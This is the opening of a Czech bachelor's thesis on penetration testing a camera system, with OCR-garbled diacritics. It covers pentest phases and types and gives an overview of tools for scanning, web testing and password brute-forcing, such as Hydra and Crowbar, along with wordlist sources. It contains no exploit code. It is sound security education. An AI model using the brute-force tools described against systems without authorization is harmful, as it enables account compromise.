VYSOKE UCENI TECHNICKE V BRNE

BRNO UNIVERSITY OF TECHNOLOGY

FAKULTA ELEKTROTECHNIKY
A KOMUNIKACNICH TECHNOLOGII

FACULTY OF ELECTRICAL ENGINEERING AND COMMUNICATION

USTAV TELEKOMUNIKACI

DEPARTMENT OF TELECOMMUNICATIONS

BEZPECNOSTNI ANALYZA KAMEROVEHO SYSTEMU

PENETRATION TEST OF CAMERA SYSTEM

BAKALARSKA PRACE
BACHELOR'S THESIS

AUTOR PRACE Radek Slany
AUTHOR

VEDOUCI PRACE Ing. Daniel Pauéo
SUPERVISOR

BRNO 2022



TECHNICKE A KOMUNIKACNICH
VBRNE TECHNOLOGII

-r VYSOKE UCENI FAKULTA ELEKTROTECHNIKY

Bakalarska prace

bakalarsky studijni program Informaéni bezpe¢nost

Ustav telekomunikaci
Student: Radek Slany ID: 221570
Rocnik: 3 Akademicky rok: 2021/22

NAZEV TEMATU:

Bezpeénostni analyza kamerového systému

POKYNY PRO VYPRACOVANI:

Hlavnim cilem prace je realizace bezpecnostniho penetraéniho testovani kamerového systému. Dilezitym
vysledkem je prehledny report a navrh protiopatfeni k eliminaci identifikovanych zranitelnosti. Kamerovy systém
se sklada z kamer (Jetson, operacni systém Linux, aplikace zpracovavajici data), webové aplikace
zpracovavajici data z kamer a databaze. V ramci testovani analyzujte dostupné metodologie (pf. OWASP, PTES,
NIST) avhodnymi kontrolnimi seznamy otestujte jednotlivé ¢asti systému. Dosazené vysledky prehledné
zpracujte a komentujte. V ramci testovani realizujte také zatézové testy webové aplikace a databaze, k tomuto
Ucelu vyuzijte dostupné nastroje Jmeter a Spirent Avalanche. DalSim cilem prace bude seznamit se s testovacim
prostfedim a nasledné vykonat bezpecnostni sken zranitelnosti. V navaznosti na vysledky skenu bude cilem
analyzovat dostupné metodologii a navrhnout vhodnou metodologi pro penetracni testovani kamerového
systému.

DOPORUCENA LITERATURA:
[11 FORSHAW, James. Attacking network protocols: a hacker's guide to capture, analysis, and exploitation. No
Starch Press, 2017.

[2] SEO, Tae-Woong, et al. An analysis of vulnerabilities and performance on the CCTV security monitoring and
control. Journal of Korea Multimedia Society, 2012, 15.1: 93-100.

Termin zadani: 7.2.2022 Termin odevzdani: 31.5.2022

Vedouci prace: Ing. Daniel Pauco

doc. Ing. Jan Hajny, Ph.D.
predseda rady studijniho programu

UPOZORNENi:

Autor bakalarské prace nesmi pfi vytvareni bakalarské prace porusit autorska prava tretich osob, zejména nesmi zasahovat nedovolenym
zplisobem do cizich autorskych prav osobnostnich a musi si byt piné védom nasledki porueni ustanoveni § 11 a nasledujicich autorského
zéakona &. 121/2000 Sb., v&etné moznych trestnépravnich dlsledkl vyplyvajicich z ustanoveni ¢asti druhé, hlavy VI. dil 4 Trestniho zakoniku
€.40/2009 Sb.

Fakulta elektrotechniky a komunikacnich technologii, Vysoké uceni technické v Brné / Technicka 3058/10 /616 00 / Brno



ABSTRAKT

PredloZzena bakalarska prace se zabyva penetracnim testovanim kamerového systému
ADEROQOS. Pro ucely penetracniho testovani bylo vytvoreno virtualizované testovaci pro-
stredi, které bylo dostupné prostrednictvim VPN. V prvni Casti praktické casti byl pro-
veden sken kamerového systému. Druha Cast praktické Casti je vénovana vybéru meto-
dologie na zakladé vysledki ziskanych v prvni Casti. V této Casti je dale popsan pri-
béh penetracniho testovani kamerového systému, a také zatézového testovani webového
rozhrani. Ve treti Casti praktické Casti byly nalezy penetracniho testovani zpracovany
do zavérecné zpravy. Hlavnim cilem této prace je provedeni penetracniho a zatézového
testovani, zpracovani vysledk(l do prehledné zavére¢né zpravy a navrh protiopatreni k eli-
minaci identifikovanych zranitelnosti.

KLICOVA SLOVA
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ABSTRACT

This bachelor thesis is dedicated to penetration testing of camera system ADEROS.
Virtualized testing enviroment was created for purposes of penetration testing. This
enviroment was reachable via VPN. In the first part of the practical part was performed
scanning of the camera system. In the second part of the practical part was selected
a methodology according to results from the first part. In this part is also described
process of the penetration testing of the camera system as well as process of stress
testing of the web interface. In third part of practical part were results of penetration
testing processed into report. Main goal of this thesis is realization of penetration and
stress testing, processing the results into clear report and recommendation to remediate
found vulnerabilities.
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Uvod

V neustéle se rozpinajicim kyberprostoru se nachazi ¢im dal tim vétsi pocet zarizeni.
Nejedna se jen o pocitacové systémy koncovych uzivateli, ale i zatizeni Internet of
Things (I0T), nebo servery (webové, databazové, ... ). VSechna tato zafizeni jsou po-
tencialnimi obétmi kybernetickych titokti. Proto je nutné testovat bezpecnost téchto
zalizeni. Takové testovani se nazyva penetracni testovdni a muze byt vérnou simulaci
postupti a technik vyuzivanych skuteénymi ttoc¢niky. Zvlast nachylné na utoky jsou
pak zafizeni dostupnd z Internetu, protoze k nim mé pristup kterykoliv uzivatel.

Jednim z nejrizikovéjsich zarizeni jsou webové servery. Zpusobeno je to predevsim
jejich povahou (dostupnost z Internetu), ale také webovymi aplikacemi, které na nich
bézi. V soucasné dobé vznika nesmirné mnozstvi webovych aplikaci. Bohuzel se to
casto odrazi v jejich kvalité.. Prichazi tak vyzva, predevsim pro vyvojare webovych
aplikaci. Je nesmirné dulezité, aby kazda nova webova aplikace byla jiz od samotného
pocatku jejitho vyvoje vyvijena tak, aby byla bezpecna, jak pro jeji uzivatele, tak
i pro jejiho provozovatele.

Bezpecénost ve svété informacnich technologii neni stav, ale proces neustalého vy-
voje a zmén. To, ze webova aplikace byla bezpecna v den jejiho vydani, neznamena,
ze bude bezpecna naporad. Okamzité po zpristupnéni aplikace verejnosti se tato
aplikace muze stat ter¢em tutoc¢nik. Proto by bezpecnost vsech webovych aplikaci
méla byt, v idedlnim pripadé pravidelné, ovérovana. Vsechny nalezené zranitelnosti
dané webové aplikace by pak mély byt uvedeny v zavérecné zpravé penetracniho
testu. Report penetracniho testovani slouzi vyvojartm k odstranéni nalezenych zra-
nitelnosti.

Cilem bakalaiské prace je seznamit se s testovacim prostiedim a nasledné vy-
konat bezpecnostni sken zranitelnosti. V navaznosti na vysledky skenu bude cilem
analyzovat dostupné metodologie a navrhnout vhodnou metodologii pro penetracni
testovani kamerového systému. Vystupem penetracniho testovani bude zavérecna
zprava, v niz se bude nachézet vycet nalezenych zranitelnosti a doporuceni k na-
pravé téchto zranitelnosti.

Prvni kapitola se vénuje pojmu penetracni testovani, metodologiim penetrac-
niho testovani a typum penetracniho testovani. Ve druhé kapitole jsou predstaveny
nékteré nastroje pouzivané pri penetracnim testovani. Obsahem treti kapitoly je
seznameni s testovacim prostredim. Ve ¢tvrté kapitole je zachycen pritbéh penetrac-
niho testovani jednotlivych pocitacovych systémi a webové aplikace kamerového

systému, kapitola obsahuje i nasledny zatézovy test této webové aplikace.
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1 Vymezeni pojmu penetracni testovani

Penetracni testovani lze obecné definovat jako autorizovanou simulaci kybernetic-
kého utoku na pocitacovy systém za tcelem odhaleni bezpecnostnich slabin a do-
padu, ktery by mélo zneuziti téchto zranitelnosti na dany pocitacovy systém. Kromé
pojmu penetracni testovani se mtizeme setkat také s pojmem ,eticky hacking“ nebo

zkracenym terminem ,pentest®. Tyto pojmy jsou mezi sebou vzajemné zaménitelné.

Na rozdil od opravdového kybernetického titoku si penetracni testovani zachovava
urcitou formalni roven. Existuji standardy, které definuji jednotlivé faze penetrac-
niho testu a zpusob, kterym na sebe jednotlivé faze navazuji. Pocet fazi se u rtiznych
standardu lisi, avsak obsah zustava takrka stejny (nékteré faze jsou v ruznych stan-
dardech spojené v jednu fazi). Soucésti téchto standardu jsou napiiklad i doporuceni

testovacich procedur a nastroji pouzivanych pro testovani.

1.1 Faze penetracniho testovani

Penetracni testovani je dle PTES (Penetration Testing Execution Standard - stan-

dard pro vykon penetracniho testovani) rozdéleno do 7 fazi. Témito fazemi jsou:

o Pre-Engagement Interactions (Pfredbézné interakce)

o Intelligence Gathering (Shromazdovani informaci)

o Threat Modeling (Modelovani hrozeb)

 Vulnerability Analysis (Analyza zranitelnosti)

« Exploitation (Vyuziti zranitelnosti)

 Post-Exploitation (Nasledné vyuziti zranitelnosti)

» Reporting (Vypracovani zpravy)

V pribéhu penetracniho testovani se mohou nékteré faze cyklicky opakovat, coz
je dano tim, jaké informace jsou v pribéhu penetracniho testovani odhaleny. Tento

cyklus je vyobrazen na obrazku 1.1. [1]

1.1.1 Predbézné interakce

Tato faze penetracniho testovani je pravdépodobné nejdilezitéjsi ¢asti celého tes-
tovani. V této fazi probiha planovani pribéhu penetracniho testu. Diskutovanymi
tématy jsou napftiklad casové rozpéti trvani testovani nebo vymezeni testovanych
oblasti (scope). Vymezeni oblasti testovani je neoddiskutovatelné jedna z nejpod-

statnéjsich ¢asti penetrac¢niho testu, avsak byva velmi Casto prehlizena.[2]
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Obr. 1.1: Cyklus penetracniho testovani
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1.1.2 Shromazdovani informaci

V této fazi penetracniho testu se penetracni tester snazi ziskat vSemozné infor-
mace o testovaném pocitacovém systému, jez by mohl pozdéji vyuzit v dalsich fazi
testovani. Shromazdovani informaci je ¢asto oznacovano terminem Open Source In-
telligence (OSINT). OSINT lze rozdélit do 3 kategorii:

o pasivni - informace ziskané bez interakce s testovanym systémem,
e semi-pasivni - informace o systému ziskané ,béznou“ sitovou komunikaci,

o aktivni - informace ziskané skenovanim systému. [3]
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1.1.3 Modelovani hrozeb

Pri této fazi penetracniho testu se penetracni tester zaméruje na vytvareni seznamu
aktiv a hrozeb, kterd témto aktiviim hrozi. Tato faze muize byt jak formalni, tak
i neformalni. Pii formélni varianté je modelovani hrozeb soucasti zavérecné faze
a muze zakaznikovi poskytnou cenné informace pro tizeni rizik. Neformélni varianta

je jakysi mentalni kontrolni seznam testera. [4]

1.1.4 Analyza zranitelnosti

Obsahem této faze penetracniho testu je testovani porti a sluzeb bézicich na testo-

vaném pocitacovém systému. [5]

1.1.5 Vyuziti zranitelnosti

Penetrac¢ni tester se v této fazi penetracniho testu snazi vyuzit zranitelnosti, iden-
tifikovanych v predchozi fazi, k tomu, aby ziskal pristup na testovany pocitacovy
systém. Vyuziva pri tom rizné techniky k obejiti ochrannych mechanismi pocitaco-
vého systému. Zajimavou oblasti, ktera byva casto opomijena, je testovani lidského
faktoru. Leckdy je pro utoc¢nika snadnéjsi zameérit se pravé na lidsky faktor. Proto
je dulezité testovat také pripravenost zaméstnancli dané organizace proti riznym

technikam socialniho inzenyrstvi (Social Engineering) jako je naptiklad phishing. [6]

1.1.6 Nasledné vyuziti zranitelnosti

Po tspésném ziskani pristupu k pocitacovému systému ma penetracni tester dva
hlavni tkoly.

Zaprvé, ziskat persistenci na kompromitovaném pocitacovém systému, aby v pri-
béhu dalsiho testovani mél okamzity pristup k pocitacovému systému bez nutnostni
opétovného vyuziti zranitelnosti. Pokud nebylo smluveno jinak, nemél by penetracéni
tester modifikovat sluzby, které klient oznacil jako ,kritické“. Divodem modifikace
sluzeb je predevsim demonstrace klientovi jak by mohl ptipadny tdtoc¢nik:

o Eskalovat privilegia,

o Ziskat pristup k citlivym dattm,

o Zpusobit znepristupnéni nékterych sluzeb opravnénym uzivatelim (DoS - De-

nial of Service).
Jakékoliv zmény musi byt fadné zdokumentovany, aby po ukonceni testovani mohly

byt tyto zmény vraceny do puvodniho stavu.
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Zadruhé, zjistit jakou hodnotu ma pocitacovy systém v kontextu struktury sité
dané organizace. Hodnota pocitacového systému se odviji od jeho dilezitosti v poci-
tacové siti (napft. radi¢ aktivni domény - vysoka hodnota, pocita¢ bézného zamést-
nance - nizsi hodnota). Po kazdé uspésné kompromitaci pocitacového systému opét
zacina faze sbéru informaci a cely cyklus se, klidné i nékolikrat, opakuje, dokud neni

dosazeno vytyceného cile. [7]

1.1.7 Vypracovani zpravy

Asi nejvyznamnéjsi fazi penetrac¢niho testu je vytvoreni zavérecné zpravy (report),
protoze zavérecna zprava je to jediné, co klient z celého penetracniho testovani vidi.
U zavérecné zpravy je dilezité zohlednit 1ikol testovani, pro koho je zavérecna zprava
urcena a co bude zavérecna zprava obsahovat. Zavéreéna zprava by méla mit vSechny
nalezitosti formalniho dokumentu - vhodné zvolené formatovani, byt prehlednd a ne-

obsahovat vécné ¢ gramatické chyby nebo preklepy. [§]

1.2 Motivace penetracniho testovani

Hlavni dlohou penetracniho testovani je identifikovat bezpecnostnich slabin pocita-
c¢ového systému a zajistit jejich napravu diive, nez by jich mohl potencidlni ttocnik
zneuzit. Pravdépodobné nejcastéjsim tercem ttoku jsou webové aplikace spolu s lid-
skym faktorem. Terce titoku jsou v penetracnim testovani oznacovany jako vektory
utoku (attack vectors), seskladanim vSech moznych vektoru utoku vznikne prostor
utoku (attack surface). Vektor utoku lze charakterizovat jako zpusob, proces, nebo
prostiedek, ktery umozni ttoc¢nikovi ziskat pristup k pocitacovému systému nebo
k jeho c¢asti.

V roce 2020 mél Ndrodni irad pro kybernetickou a informacni bezpecnost (NGKIB)
nahlaseno celkem 468 incidenti oproti 217 incidenttim z roku 2019 [9]. Z toho jedna
tfetina Gtokd byla cilena na webové aplikace. V roce 2019 bylo NUKIB nahldSeno
217 incidentt proti 164 incidenttim nahldsenym v roce 2018 [10]. Tento nérist ttokt
za poslednich nékolik let je z jisté miry dan i tim, jakym tempem jsou vytvareny
nové webové aplikace. Webova aplikace je navic, ve valné vétsiné pripadu, pristupna
verejnosti prostrednictvim Internetu, coz také pritahuje pozornost tito¢nikia. Webové
aplikace navic casto bézi na webovych serverech dané spolec¢nosti a stavaji se tak pro
utoc¢nika vstupni branou do interni sité. Pokud se ttocnik dostane do interni sité,

miize v ni napachat rozsahlé skody, proto je dulezité takovym udéalostem predchézet.
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1.3 Typy penetracniho testovani

Penetracni testovani 1ze rozdélit z hlediska pozice testera na:
e interni,
o externi.
Dalsi mozny déleni je dle znalosti testera o testovaném pocitacovém systému:
» Black Box,
o White Box,
o Gray Box.

1.3.1 Déleni dle pozice testera vzhledem k systému
Interni penetracni test

Pri internim penetracnim testu ma penetracni tester pristup do interni sité. To
znamena, ze pocitacovy systém penetracniho testera mé pristup do interni sité.
Penetracni tester tak ma pristup ke vSem otevienym portim a sluzbam, které na

testovanych pocitacovych systémech bézi. [11][12]

Externi penetracni test

Externi penetracni test je opakem interniho penetra¢niho testu. Pocéitacovy systém
penetracniho testera se nachazi mimo interni sit a nema do ni zadny pristup. Pene-
tracni tester tak ma pristup pouze k otevienym porttim a bézicim sluzbam, které

jsou pristupné z Internetu.[11][12]

1.3.2 Déleni dle znalosti testera o systému
Black Box penetracni test

Black Box metoda penetrac¢niho testu spociva v tom, zZe penetrac¢ni tester nema
Penetracni tester sleduje, jak testovany pocitacovy systém reaguje na rizné, jim
zadavané, vstupy. Tim o ném ziskava informace. Jestlize by penetrac¢ni tester potie-
boval zjistit zdrojovy kod aplikace, jedind moznost jak jej ziskat, pokud se nejedna
o open-source aplikaci, je s vyuzitim reverzniho inzenyrstvi (reverse engineering).
Ve zkratce by se tato metoda dala popsat jako testovani, pri kterém tester nevidi

do krabice, kterou testuje.
Vyhody Hlavni vyhoda této metody penetracniho testu spoc¢iva v tom, Ze se jedna

o vérnou simulaci externiho tto¢nika. Mezi dalsi vyhody patii pfedevsim cena, ktera

byva obvykle nizsi nez u ostatnich metod.
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Nevyhody Tato metoda ma vsak i své nevyhody. Hlavni nevyhodou je, zZe tes-
tovani neni ,,uplné“, protoze tester nema zadné pocatecni informace o testovaném
pocitacovém systému. Z tohoto divodu je tato metoda z velké casti zaloZena na
kvalifikovanych odhadech a metodé pokus-omyl. Jako dalsi nevyhodu lze oznacit
nepredvidatelnou délku testovani. Black Box testovaci metoda hodné zavisi na indi-

viduélnich schopnostech a zkusenostech testera. [13][14][15]

White Box penetracni test

White Box metoda je Casto oznacovana také jako ,,Clear Box“ nebo ,,Glass Box“.
Penetracnimu testerovi jsou dostupné vsechny informace o pocitacovych systémech,
které testuje, at uz se jedné o zdrojové kody, konfiguracéni soubory, vnitini fungovani
aplikaci a podobné. White Box byva casto mylné zaménovan s ,,analyzou zdrojového
kédu - Source code analysis“. Rozdil je v tom, Ze pri penetracnim testovanim nejde
jen o to nalézt zranitelnost, ale také dokazat, ze se da tato zranitelnost zneuzit.
K tomu slouzi tzv. ,,Proof of Concept® (PoC) - ovéreni konceptu.

Ve zkratce by se tato metoda dala popsat jako testovani, pii kterém tester vidi

vse, co se odehrava v krabici, kterou testuje.

Vyhody Hlavni vyhodou testovaci metody White Box je ta, ze vysledek testovani
je ,uplny“. Mezi dalsi vyhody lze zatadit kupiikladu moznost automatizace velké

Casti testovani.

Nevyhody Velkou nevyhodou je komplexita a casova narocnost testovani. Mezi
dalsi nevyhody lze zaradit také cenu, ktera je obvykle vyssi nez u Black Box a Gray
Box metod.[13][14][15]

Gray Box penetracni test

Gray Box metoda penetracniho testovani je kompromisem mezi Black Box a White
Box metodou. Penetracni tester tak ma k dispozici nékteré informace o konfigu-
racnich souborech, zdrojovych kodech a sifové infrastruktuie. Testovani probiha
obdobné jako Black Box testovani, ale odstranuje nutnost kvalifikovanych odhadi
a metodu pokus—omyl. Kdyz tester narazi na zajimavou oblast, ma moznost nahléd-
nout do zdrojovych kédu a tim uSetfit spoustu casu oproti Black Box metodé. Na
druhou stranu neprochazi cely zdrojovy kod, jak je tomu u metody White Box.

Ve zkratce by se tato metoda dala popsat jako testovani, pri kterém tester nevidi,

co se v krabici odehrava, ale miize ji kdykoliv oteviit a nahlédnout do ni.
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Vyhody Velikou vyhodou Gray Box testu je predevsim jejich rychlost. Obecné
spojuje vyhody Black Box a White Box metod testovani.

Nevyhody Pravdépodobné nejvétsi nevyhodou je, ze se da velmi mald ¢ast testo-
vani automatizovat.[13][14][15]
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2 Nastroje pro penetracni testovani

Nastroji pro potireby penetracniho testovani existuje v soucasné dobé nepreberné
mnozstvi. Nicméné tato rozmanitost je dvousecnou zbrani. Velké mnozstvi riznych
nastroji muze penetracnimu testerovi zkomplikovat praci. Zejména jde o volbu vhod-
ného nastroje a naslednou instalaci tohoto nastroje. Z toho divodu byly vytvoreny
linuxové distribuce, které jiz maji fadu takovychto nastroju predinstalovanych. Prvni
takovou linuxovou distibuci byl BackTrack Linux!, ktery byl v roce 2013 prestavén
tymem Offensive Security?. Tim vznikl Kali Linux®. Mezi dal$i vyznamné linuxové
distribuce v této kategorii patif mimo jiné také ParrotOS*. K penetraénimu testovani

tohoto kamerového systému byl pouzit Kali Linux.

2.1 Skenery otevienych portia a bézicich sluzeb

Nastroji pro aktivni sbér informaci o pocitacovém sytému jako celku jsou predevsim
skenery otevienych porti. Nékteré z nich navic dokazi podle otisku (fingerprint)
identifikovat sluzby, které na otevienych portech bézi. Pokrocilejsi skenery jsou navic
schopny otestovat identifikované sluzby na nékteré verejné znamé zranitelnosti. Mezi
nejznaméjsi nastroje patii:
o Masscan?®,
o Nmap®,

o Nessus’.

2.1.1 Masscan

Masscan je pomérné jednoduchy nastroj, ktery byl vyvinut v jazyce C. Jeho velkou
vyhodou je predevsim rychlost (napiiklad ve srovnani s ndstrojem Nmap). Vystupem
nastroje je seznam otevienych port na cilovych pocitacovych systémech, vystup je
mozné ulozit do souboru. Je vhodny pro skenovani celych podsiti. Lze jej pouzit
i k ziskani bannert spusténych sluzeb na jednotlivych portech. Neni to vsak jeho
primérni funkcionalita, a proto nemusi vzdy zcela dobte fungovat bez nutnosti dalsi
konfigurace systému. Kompletni popis vsech funkei je dostupny na GitHubu® vyvo-

jare. Primarné je urcéen pro operacni systémy rodiny Linux, ale lze jej zkompilovat

https://www.backtrack-linux.org/
’https://www.offensive-security.com/

Shttps://www.kali.org/

‘https://www.parrotsec.org/
Shttps://github.com/robertdavidgraham/masscan

Shttps://nmap.org/

"https://www.tenable.com/products/nessus
Shttps://github.com/robertdavidgraham/masscan/blob/master/README.md
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i pro operacni systémy MacOS a Windows. Poznamky ke kompilaci jsou rovnéz

uvedeny na GitHubu vyvojare.

2.1.2 Nmap

Nmap je velice casto pouzivanym nastrojem pro pocatecni skenovani. Je to néstroj
s Sirokou paletou moznosti skenovani. Dokaze skenovat jak TCP, tak i UDP porty.
V ramci TCP skenovani nabizi fadu médu jako napiiklad ,,Connect() scan®, ,Stealth
scan“, nebo , XMAS scan“. Mimo pouhé skenovani portu dokaze nastroj Nmap také
identifikovat nékteré sluzby bézici na nalezenych portech na zakladé jejich otisku
(fingerprintu). Velkou prednosti nastroje Nmap je jeho flexibilita, divodem je mimo
jiné Nmap Scripting Engine (NSE).

NSE umoznuje spoustét skripty napsané v jazyce Lua. Nékteré skripty jsou jiz
zékladem nastroje Nmap, ale jednotlivi uzivatelé si je mohou vytvotit dle vlastni po-
treby, a poté je sdilet s ostatnimi uzivateli. Skenovani s pouzitim zakladnich skriptt
se provadi prepinac¢em -sC, pro nacteni pouze vybranych skriptii se pouziva prepi-
na¢ -script, nasledovany vyctem skriptii oddélenych ¢arkami. V prepinaci -script
je mozné také specifikovat kategorii skriptii. Skripty jsou rozdéleny do 14 katego-
rif. Detailnéjsi popis kazdé kategorie je dostupny na webovych strankich? néstroje
Nmap. Diky Lua skriptim, predevsim pak téch z kategorie ,vuln“, se d& nastroj
Nmap povazovat za odlehc¢eny skener zranitelnosti. Pro skenovani s detekci verzi
bézicich sluzeb se pouziva prepinac¢ -sV.

Vystup néstroje je mozné ulozit do souboru hned v nékolika forméatech. Nabize-
nymi formaty jsou ,normal®“, . XML®“, | Grepable“ a ,s|<rIpt kIddi3“. Format
yhormal® obsahuje bézny vystup, tak jak jej nastroj vypisuje do konzole. Moz-
nost XML vytvori vystup ve formatu XML. ,,Grepable®“ vystup je vhodny pro dalsi
textové zpracovani naptiklad piikazem grep. Ve formatu ,s|<rIpt kIddi3“ jsou
néktera pismena vymeénéna za c¢isla nebo symboly, které jsou podobné ptvodnim
znaktim. Proto neni velmi snadno ¢itelny a nemaé zadné zvlastni vyuziti. Jde spise

o zert vyvojaru.

2.1.3 Nessus

Nastroj Nessus také umoznuje hledani otevienych portl, jeho priméani funkeci je
vsak fungovat jako skener zranitelnosti. Nastroj obsahuje mnozstvi preddefinovanych
skenii. Penetracni tester méa samoziejmé i moznost si testy manudlné prizpusobit
nebo vytvorit své vlastni. K dispozici je volné dostupna verze Essentials a placend

verze Professional. Nevyhodou, nejen tohoto ale i ostatnich robustnich a komplexnich

“https://nmap.org/book/nse-usage.html
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automatickych nastroji, je to, zZe ackoliv dokaze nalézt pouze bézné nebo znamé
zranitelnosti, ¢i chyby v konfiguraci. Proto se se na vystup takovychto néstroji

neda stoprocentné spolehnout a vzdy je potfeba testovani provést i manualné.

2.2 Nastroje pro testovani webovych aplikaci

Existuje mnozstvi nastrojui pro analyzu sitového provozu mezi klientem a webovym
serverem. V jadru jsou vsSechny tyto nastroje proxy server umoznujici zobrazovat
a upravovat zadosti, které klient posila na webovy server.

Dalsi kategorii nastroji pro testovani webovych aplikaci tvori nastroje pro au-
tomatizaci. Tyto nastroje mohou slouzit k odhaleni adresairové struktury webové
stranky nebo k otestovani béznych zranitelnosti webovych aplikaci. Deset nejbéz-

néjsich zranitelnosti webovych aplikaci je uvedeno v seznamu Open Web Application
Security Project (OWASP) Top 10 1°.

2.2.1 Burp Suite

Burp Suite je vyvijen spole¢nosti PortSwigger Ltd!!. N4stroj je naprogramovany
v jazyce Java, diky ¢emuz je snadno pouzitelny na vsech platformach. Nastroj Burp
Suite je dostupny ve 3 verzich: Community Edition, Professional a Enterprise. Verze
Community Eddition je k dispozici zdarma, verze Professional a Enterprise jsou
licen¢né zpoplatnény. Community Edition se od placenych verzi nastroje lisi ome-
zenou funkcionalitou, nejzasadnéji se omezeni projevuje v oblasti automatizace tes-
tovani. Mezi dalsi omezeni patii odebrani moznosti ukladat projekty. Pri kazdém
spusténi Community Edition je tedy nevyhnutelné nutné zaé¢it s novym (prazdnym)
projektem. Nastroj poskytuje uzivateli mnozstvi predinstalovanych modula, které
je mozné rozsitit o komunitni moduly. Instaldtor je nabizen pro Windows, Linux,
MacOS a také jako samostatny JAR soubor.[16]

2.2.2 OWASP ZAP

Nastroj OWASP Zed Attack Prory (ZAP)'? je mozné povazovat za alternativou

k nastroji Burp Suite. Jednd se o volné dostupny open-source nastroj.[17]

Ohttps://owasp.org/www-project-top—ten/
Uhttps://portswigger.net/
2https://owasp.org/www-project-zap/

29


https://owasp.org/www-proj
https://portswigger.net/
https://owasp.org/www-proj

Srovnani Burp Suite a OWASP ZAP

Oproti nastroji Burp Suite Community Edition nabizi moznost automatizovaného
skenovani webovych aplikaci. ZAP ma i moznost manualniho prochézeni webové
aplikace stejné jako je tomu u nastroje Burp Suite. Oba tyto nastroje jsou si velice
podobné. Pti penetracnim testovani je obecné vhodnéjsi pracovat s vice nastroji s po-
dobnou funkcionalitou, predevsim z divodu srovnani vysledkii jednotlivych nastroja
a nasledné eliminaci falesné pozitivnich vysledki nebo odhaleni faleSné negativnich

vysledkii.

2.3 Nastroje pro testovani vychozich nebo slabych

hesel

Bezpecnost hesel je jednim z velkych a casto diskutovanych témat v oblasti kyber-
netické bezpeénosti. Zjevnym problémem bezpecénosti hesel je jejich délka 3. Déle
je to pak velikost pouZité abecedy 4.

Pro celkovou bezpecnost hesla je urcujici kromé sily a komplexity hesla také jeho
predvidatelnost. Dtive byl kladen velky diiraz na vysokou komplexitu i silu hesel,
od tohoto modelu je v posledni dobé ustupovano. Stale je kladen diraz na znacnou
silu hesel, ustupuje se vSak od néarokt kladenych na jejich komplexitu. Zaroven je

kladen vétsi diraz na multi-faktorovou autentizaci [18].

2.3.1 Hydra

Nastroj Hydral!®, zndmy taktéZz pod nadzvem THC Hydra, je uréeny k prolomeni
prihlaseni za vyuziti slabych nebo predvidatelnych hesel. Nastroj podporuje nékolik
protokold, jako napiiklad SSH, VNC, RDP, FTP, HTTP-GET, HTTP-POST, HTTP-FORM-GET,
HTTP-FORM-POST a mnohé dalsi. Jedinecnost nastroje spociva nejen v rozmanitosti
podporovanych protokoli, ale také v tom, Ze nastroj pouziva paralelizaci. Pocet vla-
ken lze specifikovat a dosahnout tak nejvyssi mozné efektivity. Hydra nabizi dva
pristupy k prolamovani hesel.

Prvni z nich je utok hrubou silou (tzv. ,Brute-Force*). Utok spoéivé ve vyzkou-

seni vSech moznych kombinaci, které pro danou délku hesla existuji. Tento pTistup je

13Délka hesla je také casto oznacovana jako sila hesla.

4 Abecedou je myslen soubor viech znakil, které mohou byt v hesle pouzity. Velikost pouzité
abecedy (Casto oznacovdna jako komplexita hesla) je celkovy pocet znaki dané abecedy. Nejbéznéjsi
velikost pouzité abecedy je 62, nebo 94. 62 je pro mald a velkd pismena bez diakritiky (26+26)

a ¢isla (10), 94 pro tisknutelné znaky ASCII tabulky (véetné mezery)
https://github.com/vanhauser-thc/thc-hydra
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casové extrémné narocny (i nékolik let), na druhou stranu vzdy vede ke spravnému
vysledku.

Druhym piistupem jsou slovnikové ttoky. Slovniky'® je moZné si stdhnout (na-
pitklad SecLists!'” repozitéf na GitHubu) nebo je moZné si slovnik vytvofit. K tomu
slouZ{ nastroje jako naptiklad CUPP!®, Cewl!, John The Ripper?°, nebo hashcat?!.

Nastroj je dostupny pod licenci AGPLv3, zdrojovy kéd je dostupny na GitHubu.
20][19]

2.3.2 Crowbar

Néstroj Crowbar?? je obdobné jako nastroj Hydra uréen k prolomeni piihlaseni vy-
uzitim slabych hesel. Vyhodou nastroje Crowbar je nizsi pocet falesné pozitivnich
vysledkt pro protokoly RDP a VNC. Dalsi vyhodou je moznost vyuziti SSH klict.
Pokud je pri testovani nalezen soukromy SSH kli¢ (nebo vice kli¢ti), tento nastroj
dokaze ovérit, kterému uzivateli (uzivatelim) tento kli¢ (klice) patii. Nevyhodou

nastroje Crowbar je, oproti nastroji Hydra, Ze pouziva pouze jedno vlakno.

16Slovniky jsou textové soubory, které obsahuji od par desitek az po nékolik statisicti hesel (nebo
uzivatelskych jmen). Plati, Ze na jeden fadek pfipada jedno slovo.

"https://github.com/danielmiessler/SecLists

8https://github.com/Mebus/cupp

Yhttps://github.com/digininja/CeWL

POnttps://www.openwall .com/john/

2Inttps://hashcat.net/hashcat/

2https://github.com/galkan/crowbar
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3 Popis aseznameni s testovacim prostredim

Penetracni testovani je vhodné neprovadét v tzv. ,,produkcénim prostredi®, protoze
pri testovani se muze ledaco pokazit, je tedy vhodné takovym situacim predcha-
zet. Zabréanit nechténym skodam na testovanych pocitacovych systémech v prubéhu
testovani lze vytvorenim tzv. ,testovaciho prostiredi®. Testovaci prostiedi se da po-

mérné jednoduse vytvorit pomoci virtualizace testovanych pocitacovych systému.

3.1 Virtualizace testovaciho prostredi

Pro testovani byly vytvoreny virtualni kopie pocitacovych systému, ze kterych se
testovany kamerovy systém sklada. Virtudlni pocitace byly vytvoreny v prostiedi
VMWare ESX Server!. VMWare ESX Server je ndstroj pro virtualizaci, zajimavy
je predevsim z toho duvodu, ze bézi pfimo na hardware. ESX neni software, ktery
by byl spustén v hostitelském operacnim systému. Chod ESX ridi VMkernel, coz
je jadro zalozené na Linuxovém jadre. Nejednda se tedy o plnohodnotny operacni
systém, ale je oznacovan terminem hypervizor typu 1. Vlastnosti virtualizovanych
pocitacovych systémi se tak velmi blizi vlastnostem fyzickych pocitaci.[21][22] Pri-
stup k virtualizovanym pocitac¢ovym systémum je realizovan pomoci VPN (Virtual
Private Network - virtudlni privatni sité). Pripojeni do VPN zajistuje program Palo-
Alto GlobalProtect?. V tabulce 3.1 jsou uvedeny IP adresy jednotlivych poéita¢ovych

systému, ze kterych se kamerovy systém sklada.

IP Operacni systém | Role pcitacového systému
192.168.5.103 | Linux Debian Databéaze Cassandra
192.168.5.104 | Linux Debian Databéaze Cassandra
192.168.5.105 | Windows Webovy server

Tab. 3.1: Pocitacové systémy testovaciho prostiedi

3.2 Pripojeni testovaciho pocitace do VPN

Pouzity testovaci pocita¢ ma operacni systém Kali Linux, program zajistujici pripo-
